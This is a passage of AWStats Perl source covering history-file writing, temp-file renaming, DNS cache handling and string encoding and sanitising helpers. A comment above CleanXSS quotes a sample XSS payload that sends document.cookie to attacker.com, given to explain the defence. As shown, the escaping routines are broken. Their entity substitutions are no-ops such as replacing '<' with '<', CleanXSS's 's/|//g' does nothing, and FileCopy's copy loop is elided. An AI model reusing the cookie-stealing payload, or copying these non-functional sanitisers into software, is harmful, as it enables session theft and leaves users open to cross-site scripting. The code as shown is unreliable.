"${xmlrb}From0${xmlrs}" . int( $_from_p[0] ) . "${xmlrs}" . int( $_from_h[0] ) . "${xmlre}\n"; print HISTORYTMP "${xmlrb}From1${xmlrs}" . int( $_from_p[1] ) . "${xmlrs}" . int( $_from_h[1] ) . "${xmlre}\n"; print HISTORYTMP "${xmlrb}From2${xmlrs}" . int( $_from_p[2] ) . "${xmlrs}" . int( $_from_h[2] ) . "${xmlre}\n"; print HISTORYTMP "${xmlrb}From3${xmlrs}" . int( $_from_p[3] ) . "${xmlrs}" . int( $_from_h[3] ) . "${xmlre}\n"; print HISTORYTMP "${xmlrb}From4${xmlrs}" . int( $_from_p[4] ) . "${xmlrs}" . int( $_from_h[4] ) . "${xmlre}\n"; # Same site print HISTORYTMP "${xmlrb}From5${xmlrs}" . int( $_from_p[5] ) . "${xmlrs}" . int( $_from_h[5] ) . "${xmlre}\n"; # News print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n"; } if ( $sectiontosave eq 'sereferrals' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Search engine referers ID - Pages - Hits\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}" . ( scalar keys %_se_referrals_h ) . "${xmlbe}\n"; foreach ( keys %_se_referrals_h ) { print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_se_referrals_p{$_} || 0 ) . "${xmlrs}$_se_referrals_h{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n"; } if ( $sectiontosave eq 'pagerefs' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n"; } print HISTORYTMP "# External page referers - Pages - Hits\n"; print HISTORYTMP "# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}" . ( scalar keys %_pagesrefs_h ) . "${xmlbe}\n"; # We save page list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'RefererShown'}, $MinHit{'Refer'}, \%_pagesrefs_h, \%_pagesrefs_p ); %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; my $newkey = $_; $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i ; # Remove / at end of http://.../ but not at end of http://.../dir/ print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($newkey) . "${xmlrs}" . int( $_pagesrefs_p{$_} || 0 ) . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n"; } foreach ( keys %_pagesrefs_h ) { if ( $keysinkeylist{$_} ) { next; } my $newkey = $_; $newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i ; # Remove / at end of http://.../ but not at end of http://.../dir/ print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($newkey) . "${xmlrs}" . int( $_pagesrefs_p{$_} || 0 ) . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n"; } print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n"; } if ( $sectiontosave eq 'searchwords' ) { # Save phrases section print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n"; } print HISTORYTMP "# Search keyphrases - Number of search\n"; print HISTORYTMP "# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}" . ( scalar keys %_keyphrases ) . "${xmlbe}\n"; # We will also build _keywords %_keywords = (); # We save key list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'KeywordsShown'}, $MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases ); %keysinkeylist = (); foreach my $key (@keylist) { $keysinkeylist{$key} = 1; my $keyphrase = $key; $keyphrase =~ tr/ /\+/s; print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($keyphrase) . "${xmlrs}" . $_keyphrases{$key} . "${xmlre}\n"; foreach ( split( /\+/, $key ) ) { $_keywords{$_} += $_keyphrases{$key}; } # To init %_keywords } foreach my $key ( keys %_keyphrases ) { if ( $keysinkeylist{$key} ) { next; } my $keyphrase = $key; $keyphrase =~ tr/ /\+/s; print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($keyphrase) . "${xmlrs}" . $_keyphrases{$key} . "${xmlre}\n"; foreach ( split( /\+/, $key ) ) { $_keywords{$_} += $_keyphrases{$key}; } # To init %_keywords } print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n"; # Now save keywords section print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n"; } print HISTORYTMP "# Search keywords - Number of search\n"; print HISTORYTMP "# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n"; $ValueInFile{"keywords"} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}" . ( scalar keys %_keywords ) . "${xmlbe}\n"; # We save key list in score sorted order to get a -output faster and with less use of memory. &BuildKeyList( $MaxNbOf{'KeywordsShown'}, $MinHit{'Keyword'}, \%_keywords, \%_keywords ); %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; my $keyword = $_; print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($keyword) . "${xmlrs}" . $_keywords{$_} . "${xmlre}\n"; } foreach ( keys %_keywords ) { if ( $keysinkeylist{$_} ) { next; } my $keyword = $_; print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($keyword) . "${xmlrs}" . $_keywords{$_} . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n"; } # Other - Errors if ( $sectiontosave eq 'cluster' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}" . ( scalar keys %_cluster_h ) . "${xmlbe}\n"; foreach ( keys %_cluster_h ) { print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_cluster_p{$_} || 0 ) . "${xmlrs}" . int( $_cluster_h{$_} || 0 ) . "${xmlrs}" . int( $_cluster_k{$_} || 0 ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n"; } if ( $sectiontosave eq 'misc' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}" . ( scalar keys %MiscListCalc ) . "${xmlbe}\n"; foreach ( keys %MiscListCalc ) { print HISTORYTMP "${xmlrb}$_${xmlrs}" . int( $_misc_p{$_} || 0 ) . "${xmlrs}" . int( $_misc_h{$_} || 0 ) . "${xmlrs}" . int( $_misc_k{$_} || 0 ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_MISC${xmlee}\n"; } if ( $sectiontosave eq 'errors' ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# Errors - Hits - Bandwidth\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}" . ( scalar keys %_errors_h ) . "${xmlbe}\n"; foreach ( keys %_errors_h ) { print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}" . int( $_errors_k{$_} || 0 ) . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n"; } # Other - Trapped errors foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { if ( $sectiontosave eq "sider_$code" ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; } print HISTORYTMP "# URL with $code errors - Hits" . ($ShowHTTPErrorsPageDetail =~ /R/i ? " - Last URL referrer" : '') . ($ShowHTTPErrorsPageDetail =~ /H/i ? " - Host" : '') . "\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}" . ( scalar keys %{$_sider_h{$code}} ) . "${xmlbe}\n"; foreach ( keys %{$_sider_h{$code}} ) { my $newkey = $_; my $newreferer = $_referer_h{$code}{$_} || ''; my $newhost = $_err_host_h{$code}{$_} || ''; print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($newkey) . "${xmlrs}$_sider_h{ $code }{$_}" . ($ShowHTTPErrorsPageDetail =~ /R/i ? "${xmlrs}" . XMLEncodeForHisto($newreferer) : '') . ($ShowHTTPErrorsPageDetail =~ /H/i ? "${xmlrs}" . XMLEncodeForHisto($newhost) : '') . "${xmlre}\n"; } print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n"; } } # Other - Extra stats sections foreach my $extranum ( 1 .. @ExtraName - 1 ) { if ( $sectiontosave eq "extra_$extranum" ) { print HISTORYTMP "\n"; if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n"; } print HISTORYTMP "# Extra key - Pages - Hits - Bandwidth - Last access\n"; print HISTORYTMP "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; $ValueInFile{$sectiontosave} = tell HISTORYTMP; print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}" . scalar( keys %{ '_section_' . $extranum . '_h' } ) . "${xmlbe}\n"; &BuildKeyList( $MaxNbOfExtra[$extranum], $MinHitExtra[$extranum], \%{ '_section_' . $extranum . '_h' }, \%{ '_section_' . $extranum . '_p' } ); %keysinkeylist = (); foreach (@keylist) { $keysinkeylist{$_} = 1; my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0; my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0; my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || ''; print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($_) . "${xmlrs}$page${xmlrs}", ${ '_section_' . $extranum . '_h' }{$_}, "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; next; } foreach ( keys %{ '_section_' . $extranum . '_h' } ) { if ( $keysinkeylist{$_} ) { next; } my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0; my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0; my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || ''; print HISTORYTMP "${xmlrb}" . XMLEncodeForHisto($_) . "${xmlrs}$page${xmlrs}", ${ '_section_' . $extranum . '_h' }{$_}, "${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n"; next; } print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n"; } } # Other - Plugin sections if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) { my $pluginname = $1; if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) { # my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)"; # eval("$function"); my $function = "SectionWriteHistory_$pluginname"; &$function( $xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee ); } } %keysinkeylist = (); } #-------------------------------------------------------------------- # Function: Rename all tmp history file into history # Parameters: None # Input: $DirData $PROG $FileSuffix # $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone # Output: None # Return: 1 Ok, 0 at least one error (tmp files are removed) #-------------------------------------------------------------------- sub Rename_All_Tmp_History { my $pid = $$; my $renameok = 1; if ($Debug) { debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)"); } opendir( DIR, "$DirData" ); my $datemask; if ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; } elsif ( $DatabaseBreak eq 'year' ) { $datemask = '\d\d\d\d'; } elsif ( $DatabaseBreak eq 'day' ) { $datemask = '\d\d\d\d\d\d\d\d'; } elsif ( $DatabaseBreak eq 'hour' ) { $datemask = '\d\d\d\d\d\d\d\d\d\d'; } if ($Debug) { debug( "Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'" ); } my $regfilesuffix = quotemeta($FileSuffix); foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/, file_filt sort readdir DIR ) { /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/; if ($renameok) { # No rename error yet if ($Debug) { debug( " Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt", 1 ); } if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" ) { # Rename tmp files if size > 0 if ($KeepBackupOfHistoricFiles) { if ( -s "$DirData/$PROG$1$FileSuffix.txt" ) { # History file already exists. We backup it if ($Debug) { debug( " Make a backup of old history file into $PROG$1$FileSuffix.bak before", 1 ); } #if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) { if ( rename( "$DirData/$PROG$1$FileSuffix.txt", "$DirData/$PROG$1$FileSuffix.bak" ) == 0 ) { warning( "Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"." ); } if ($SaveDatabaseFilesWithPermissionsForEveryone) { chmod 0666, "$DirData/$PROG$1$FileSuffix.bak"; } } else { if ($Debug) { debug( " No need to backup old history file", 1 ); } } } if ( rename( "$DirData/$PROG$1$FileSuffix.tmp.$$", "$DirData/$PROG$1$FileSuffix.txt" ) == 0 ) { $renameok = 0; # At least one error in renaming working files # Remove tmp file unlink "$DirData/$PROG$1$FileSuffix.tmp.$$"; warning( "Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong" . ( $ENV{'GATEWAY_INTERFACE'} ? " for an 'update from web'" : "" ) . " or file might be opened." ); next; } if ($SaveDatabaseFilesWithPermissionsForEveryone) { chmod 0666, "$DirData/$PROG$1$FileSuffix.txt"; } } } else { # Because of rename error, we remove all remaining tmp files unlink "$DirData/$PROG$1$FileSuffix.tmp.$$"; } } close DIR; return $renameok; } #------------------------------------------------------------------------------ # Function: Load DNS cache file entries into a memory hash array # Parameters: Hash array ref to load into, # File name to load, # File suffix to use # Save to a second plugin file if not up to date # Input: None # Output: Hash array is loaded # Return: 1 No DNS Cache file found, 0 OK #------------------------------------------------------------------------------ sub Read_DNS_Cache { my $hashtoload = shift; my $dnscachefile = shift; my $filesuffix = shift; my $savetohash = shift; my $dnscacheext = ''; my $filetoload = ''; my $timetoload = time(); if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); } if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; } foreach my $dir ( "$DirData", ".", "" ) { my $searchdir = $dir; if ( $searchdir && ( !( $searchdir =~ /\/$/ ) ) && ( !( $searchdir =~ /\\$/ ) ) ) { $searchdir .= "/"; } if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) { $filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext"; } # Plugin call : Change filetoload if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) { SearchFile_hashfiles( $searchdir, $dnscachefile, $filesuffix, $dnscacheext, $filetoload ); } if ($filetoload) { last; } # We found a file to load } if ( !$filetoload ) { if ($Debug) { debug(" No DNS Cache file found"); } return 1; } # Plugin call : Load hashtoload if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) { LoadCache_hashfiles( $filetoload, $hashtoload ); } if ( !scalar keys %$hashtoload ) { open( DNSFILE, "$filetoload" ) or error("Couldn't open DNS Cache file \"$filetoload\": $!"); #binmode DNSFILE; # If we set binmode here, it seems that the load is broken on ActiveState 5.8 # This is a fast way to load with regexp %$hashtoload = map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> ); close DNSFILE; if ($savetohash) { # Plugin call : Save hash file (all records) with test if up to date to save if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) { SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 ); } } } if ($Debug) { debug( " Loaded " . ( scalar keys %$hashtoload ) . " items from $filetoload in " . ( time() - $timetoload ) . " seconds.", 1 ); } return 0; } #------------------------------------------------------------------------------ # Function: Save a memory hash array into a DNS cache file # Parameters: Hash array ref to save, # File name to save, # File suffix to use # Input: None # Output: None # Return: 0 OK, 1 Error #------------------------------------------------------------------------------ sub Save_DNS_Cache_File { my $hashtosave = shift; my $dnscachefile = shift; my $filesuffix = shift; my $dnscacheext = ''; my $filetosave = ''; my $timetosave = time(); my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE; my $nbofelemsaved = 0; if ($Debug) { debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]"); } if ( !scalar keys %$hashtosave ) { if ($Debug) { debug(" No data to save"); } return 0; } if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; } $filetosave = "$dnscachefile$filesuffix$dnscacheext"; # Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) { SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave, $nbofelemsaved ); if ($SaveDatabaseFilesWithPermissionsForEveryone) { chmod 0666, "$filetosave"; } } if ( !$nbofelemsaved ) { $filetosave = "$dnscachefile$filesuffix$dnscacheext"; if ($Debug) { debug( " Save data " . ( $nbofelemtosave ? "($nbofelemtosave records max)" : "(all records)" ) . " into file $filetosave" ); } if ( !open( DNSFILE, ">$filetosave" ) ) { warning( "Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!" ); return 1; } binmode DNSFILE; my $starttimemin = int( $starttime / 60 ); foreach my $key ( keys %$hashtosave ) { #if ($hashtosave->{$key} ne '*') { my $ipsolved = $hashtosave->{$key}; print DNSFILE "$starttimemin\t$key\t" . ( $ipsolved eq 'ip' ? '*' : $ipsolved ) . "\n"; # Change 'ip' to '*' for backward compatibility if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; } #} } close DNSFILE; if ($SaveDatabaseFilesWithPermissionsForEveryone) { chmod 0666, "$filetosave"; } } if ($Debug) { debug( " Saved $nbofelemsaved items into $filetosave in " . ( time() - $timetosave ) . " seconds.", 1 ); } return 0; } #------------------------------------------------------------------------------ # Function: Return time elapsed since last call in miliseconds # Parameters: 0|1 (0 reset counter, 1 no reset) # Input: None # Output: None # Return: Number of miliseconds elapsed since last call #------------------------------------------------------------------------------ sub GetDelaySinceStart { if (shift) { $StartSeconds = 0; } # Reset chrono my ( $newseconds, $newmicroseconds ) = ( time(), 0 ); # Plugin call : Return seconds and milliseconds if ( $PluginsLoaded{'GetTime'}{'timehires'} ) { GetTime_timehires( $newseconds, $newmicroseconds ); } if ( !$StartSeconds ) { $StartSeconds = $newseconds; $StartMicroseconds = $newmicroseconds; } return ( ( $newseconds - $StartSeconds ) * 1000 + int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) ); } #------------------------------------------------------------------------------ # Function: Reset all variables whose name start with _ because a new month start # Parameters: None # Input: $YearRequired All variables whose name start with _ # Output: All variables whose name start with _ # Return: None #------------------------------------------------------------------------------ sub Init_HashArray { if ($Debug) { debug("Call to Init_HashArray"); } # Reset global hash arrays %FirstTime = %LastTime = (); %MonthHostsKnown = %MonthHostsUnknown = (); %MonthVisits = %MonthUnique = (); %MonthPages = %MonthHits = %MonthBytes = (); %MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = (); %DayPages = %DayHits = %DayBytes = %DayVisits = (); # Reset all arrays with name beginning by _ for ( my $ix = 0 ; $ix < 6 ; $ix++ ) { $_from_p[$ix] = 0; $_from_h[$ix] = 0; } for ( my $ix = 0 ; $ix < 24 ; $ix++ ) { $_time_h[$ix] = 0; $_time_k[$ix] = 0; $_time_p[$ix] = 0; $_time_nv_h[$ix] = 0; $_time_nv_k[$ix] = 0; $_time_nv_p[$ix] = 0; } # Reset all hash arrays with name beginning by _ %_session = %_browser_h = %_browser_p = (); %_domener_p = %_domener_h = %_domener_k = %_errors_h = %_errors_k = (); %_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = (); %_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = (); %_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = (); %_keyphrases = %_keywords = %_os_h = %_os_p = %_pagesrefs_p = %_pagesrefs_h = %_robot_h = %_robot_k = %_robot_l = %_robot_r = (); %_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k = %_login_l = %_screensize_h = (); %_misc_p = %_misc_h = %_misc_k = (); %_cluster_p = %_cluster_h = %_cluster_k = (); %_se_referrals_p = %_se_referrals_h = %_sider_h = %_referer_h = %_err_host_h = %_url_p = %_url_k = %_url_e = %_url_x = (); %_downloads = (); %_unknownreferer_l = %_unknownrefererbrowser_l = (); %_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k = %_emailr_l = (); for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) { %{ '_section_' . $ix . '_h' } = %{ '_section_' . $ix . '_o' } = %{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } = %{ '_section_' . $ix . '_p' } = (); } foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { # my $function="SectionInitHashArray_$pluginname()"; # eval("$function"); my $function = "SectionInitHashArray_$pluginname"; &$function(); } } #------------------------------------------------------------------------------ # Function: Change word separators of a keyphrase string into space and # remove bad coded chars # Parameters: stringtodecode # Input: None # Output: None # Return: decodedstring #------------------------------------------------------------------------------ sub ChangeWordSeparatorsIntoSpace { $_[0] =~ s/%0[ad]/ /ig; # LF CR $_[0] =~ s/%2[02789abc]/ /ig; # space " ' ( ) * + , $_[0] =~ s/%3a/ /ig; # : $_[0] =~ tr/\+\'\"\*,:/ /s; # "&" and "=" must not be in this list } #------------------------------------------------------------------------------ # Function: Transforms special chars by entities as needed in XML/XHTML # Parameters: stringtoencode # Return: encodedstring #------------------------------------------------------------------------------ sub XMLEncode { if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) { return shift; } my $string = shift; $string =~ s/&/&/g; $string =~ s/</</g; $string =~ s/>/>/g; $string =~ s/\"/"/g; $string =~ s/\'/'/g; return $string; } #------------------------------------------------------------------------------ # Function: Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML # Decoding is done by XMLDecodeFromHisto. # AWStats data files are stored in ISO-8859-1. # Parameters: stringtoencode # Return: encodedstring #------------------------------------------------------------------------------ sub XMLEncodeForHisto { my $string = shift; $string =~ s/\s/%20/g; if ( $BuildHistoryFormat ne 'xml' ) { return $string; } $string =~ s/=/%3d/g; $string =~ s/&/&/g; $string =~ s/</</g; $string =~ s/>/>/g; $string =~ s/\"/"/g; $string =~ s/\'/'/g; return $string; } #------------------------------------------------------------------------------ # Function: Encode an ISO string to PageCode output # Parameters: stringtoencode # Return: encodedstring #------------------------------------------------------------------------------ sub EncodeToPageCode { my $string = shift; if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); } return $string; } #------------------------------------------------------------------------------ # Function: Encode a binary string into an ASCII string # Parameters: stringtoencode # Return: encodedstring #------------------------------------------------------------------------------ sub EncodeString { my $string = shift; # use bytes; $string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg; # no bytes; $string =~ tr/ /+/s; return $string; } #------------------------------------------------------------------------------ # Function: Decode an url encoded text string into a binary string # Parameters: stringtodecode # Input: None # Output: None # Return: decodedstring #------------------------------------------------------------------------------ sub DecodeEncodedString { my $stringtodecode = shift; $stringtodecode =~ tr/\+/ /s; $stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg; $stringtodecode =~ s/["']//g; return $stringtodecode; } #------------------------------------------------------------------------------ # Function: Decode a precompiled regex value to a common regex value # Parameters: compiledregextodecode # Input: None # Output: None # Return: standardregex #------------------------------------------------------------------------------ sub UnCompileRegex { shift =~ /$\?[-^\w]*:(.*)$/; # Works with all perl # shift =~ /$\?[-\w]*:(.*)$/; < perl 5.14 return $1; } #------------------------------------------------------------------------------ # Function: Clean a string of all chars that are not char or _ - \ / . \s # Parameters: stringtoclean, full # Input: None # Output: None # Return: cleanedstring #------------------------------------------------------------------------------ sub Sanitize { my $stringtoclean = shift; my $full = shift || 0; if ($full) { $stringtoclean =~ s/[^\w\d]//g; } else { $stringtoclean =~ s/[^\w\d\-\\\/\.:\s]//g; } return $stringtoclean; } #------------------------------------------------------------------------------ # Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks' # and clean | char. # A XSS attack is providing an AWStats url with XSS code that is executed # when page loaded by awstats CGI is loaded from AWStats server. Such a code # can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script> # This make the browser sending a request to the attacker server that contains # cookie used for AWStats server sessions. Attacker can this way caught this # cookie and used it to go on AWStats server like original visitor. For this # resaon, parameter received by AWStats must be sanitized by this function # before being put inside a web page. # Parameters: stringtoclean # Input: None # Output: None # Return: cleanedstring #------------------------------------------------------------------------------ sub CleanXSS { my $stringtoclean = shift; # To avoid html tags and javascript $stringtoclean =~ s/</</g; $stringtoclean =~ s/>/>/g; $stringtoclean =~ s/|//g; # To avoid onload=" $stringtoclean =~ s/onload//g; return $stringtoclean; } #------------------------------------------------------------------------------ # Function: Clean tags in a string # AWStats data files are stored in ISO-8859-1. # Parameters: stringtodecode # Input: None # Output: None # Return: decodedstring #------------------------------------------------------------------------------ sub XMLDecodeFromHisto { my $stringtoclean = shift; $stringtoclean =~ s/$regclean1/ /g; # Replace <recnb> or </td> with space $stringtoclean =~ s/$regclean2//g; # Remove others <xxx> $stringtoclean =~ s/%3d/=/g; $stringtoclean =~ s/&/&/g; $stringtoclean =~ s/</</g; $stringtoclean =~ s/>/>/g; $stringtoclean =~ s/"/\"/g; $stringtoclean =~ s/'/\'/g; return $stringtoclean; } #------------------------------------------------------------------------------ # Function: Copy one file into another # Parameters: sourcefilename targetfilename # Input: None # Output: None # Return: 0 if copy is ok, 1 else #------------------------------------------------------------------------------ sub FileCopy { my $filesource = shift; my $filetarget = shift; if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); } open( FILESOURCE, "$filesource" ) || return 1; open( FILETARGET, ">$filetarget" ) || return 1; binmode FILESOURCE; binmode FILETARGET; # ... close(FILETARGET); close(FILESOURCE); if ($Debug) { debug( " File copied", 1 ); } return 0; } #------------------------------------------------------------------------------ # Function: Format a QUERY_STRING # Parameters: query # Input: None # Output: None # Return: formatted query #------------------------------------------------------------------------------ # TODO Appeller cette fonction partout ou il y a des NewLinkParams sub CleanNewLinkParamsFrom { my $NewLinkParams = shift; while ( my $param = shift ) { $NewLinkParams =~ s/(^|&|&)$param(=[^&]*|$)//i; } $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; return $NewLinkParams; } #------------------------------------------------------------------------------ # Function: Show flags for other language translations # Parameters: Current languade id (en, fr, ...) # Input: None # Output: None # Return: None #------------------------------------------------------------------------------ sub Show_Flag_Links { my $CurrentLang = shift; # Build flags link my $NewLinkParams = $QueryString; my $NewLinkTarget = ''; if ( $ENV{'GATEWAY_INTERFACE'} ) { $NewLinkParams = CleanNewLinkParamsFrom( $NewLinkParams, ( 'update', 'staticlinks', 'framename', 'lang' ) ); $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; $NewLinkParams =~ s/(^|&|&)lang=[^&]*//i; $NewLinkParams =~ s/(&|&)+/&/i; $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } if ( $FrameName eq 'mainright' ) { $NewLinkTarget = " target=\"_parent\""; } } else { $NewLinkParams = ( $SiteConfig ? "config=$SiteConfig&" : "" ) . "year=$YearRequired&month=$MonthRequired&"; } if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&'; } if ( $FrameName eq 'mainright' ) { $NewLinkParams .= 'framename=index&'; } foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) { $lng = $LangBrowserToLangAwstats{$lng} ? $LangBrowserToLangAwstats{$lng} : $lng; if ( $lng ne $CurrentLang ) { my %lngtitle = ( 'en', 'English', 'fr', 'French', 'de', 'German', 'it', 'Italian', 'nl', 'Dutch', 'es', 'Spanish' ); my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng ); my $flag = ( $LangAWStatsToFlagAwstats{$lng} ? $LangAWStatsToFlagAwstats{$lng} : 